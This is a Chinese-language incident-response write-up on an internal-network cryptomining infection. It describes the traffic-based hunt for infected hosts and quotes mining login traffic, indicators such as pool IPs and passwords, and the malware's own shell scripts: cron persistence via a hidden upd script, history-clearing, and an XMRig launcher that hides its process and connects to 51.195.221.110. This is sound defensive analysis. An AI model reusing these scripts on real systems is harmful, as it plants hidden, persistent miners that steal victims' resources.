记挖矿样本流程分析
背景:
内网发现某台主机大量资源占用,态势感知告警挖矿行为。
内网挖矿流程:
初步排查思路:
公网矿池为单一地址,威胁情报未标记,根据流量特征判断为矿池,可作为依据使用态势感知批量查找建立过连接的主机。
通过态势感知排查挖矿流量特征,内网传输情况。
内网多台矿池,矿池做为转发功能,资源占用较小;主要根据流量方向判断。
排查多台中病毒主机之间流量行为,有无异常,排查跳板机情况。
跳板机可能无挖矿行为,由A中病毒主机连接B正常主机再连接C中病毒主机,则主机B可能被利用。
态势感知排查该家族思路:
发现一台矿机后,定位该矿机连接的矿池;
根据该矿池,定位多台连接矿机;
逐台矿机排查是否连接多台矿池;
根据公网矿池,筛查内网矿池,或直连公网的矿机;
根据上述发现内网挖矿流量传输使用33033端口,排查内网所有33033端口连接;
挖矿流量样本:
{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"46iM99N18KTNafBX6X2KMP6GkmBSwLpHKfuNSuLuBvFaVNd776wvp7jC1TMiP7t5HL2Bs2ngF1UND6rcEnkwRAsA9nhJ4KH","pass":"GOLD","agent":"Java/(Update) (Linux x86_64) libuv/1.38.0 gcc/7.2.0","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz"]}}
{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"7521d1cadbcfa91eec65aa16715b94ffc1c9654ba57ea2ef1a2127bca1127a83","pass":"x","agent":"XMRig/6.3.3 (Linux x86_64) libuv/1.38.0 gcc/7.3.1","url":"stratum+ssl://134.209.104.66:443","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","cn/1","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt"]}}
提取样本中特征:
134.209.104.66
pass:GOLD
pass:x
XMRIG
态势感知批量查找与134.209.104.66建立连接的主机,均感染病毒
Xmrig/6.3.3得知病毒家族、种类:
该家族样本默认文件名为:xmrig
主机find / -name “*xmrig*”
样本分析:
脚本c:
unset 删除环境变量
export 设置环境变量
HISTFILE 历史命令记录文件
HISTSIZE 历史命令记录数
HISTFILESIZE 历史命令记录文件中记录的命令数
删除计划任务
Chattr将tmp目录下文件解锁
Kill杀掉系统进程
运行起始脚本a:
pwd > dir.dir
dir=$(cat dir.dir)
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
echo "@reboot $dir/upd >/dev/null 2>&1" >> cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd
./run &>/dev/null
生成dir.dir文件:
同级目录产生cron.d:
* * * * * /usr/include/arpa/.x/upd >/dev/null 2>&1
@reboot /usr/include/arpa/.x/upd >/dev/null 2>&1
定期执行upd 脚本文件:
#!/bin/sh
if test -r /usr/include/arpa/.x/bash.pid; then
pid=$(cat /usr/include/arpa/.x/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /usr/include/arpa/.x
./run &>/dev/null
exit 0
fi
fi
判断bash.pid文件是否为空,非空则杀掉其中的进程
防止病毒文件重复运行
Bash.pid文件:
执行 run脚本:
proc=`nproc`
ARCH=`uname -m`
HIDE="xmrig"
if [ "$ARCH" == "i686" ]; then
./h32 -s $HIDE ./stak3/ld-linux.so.2 --library-path stak3 stak3/xmrig -o 51.195.221.110:443 -a cn/r -k >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -o 51.195.221.110:443 -k >>/dev/null &
fi
echo $! > bash.pid
判断系统架构,分别执行不同的木马文件,连接地址51.195.221.110(英国 英格兰 伦敦 微步未定义)
更新bash.pid文件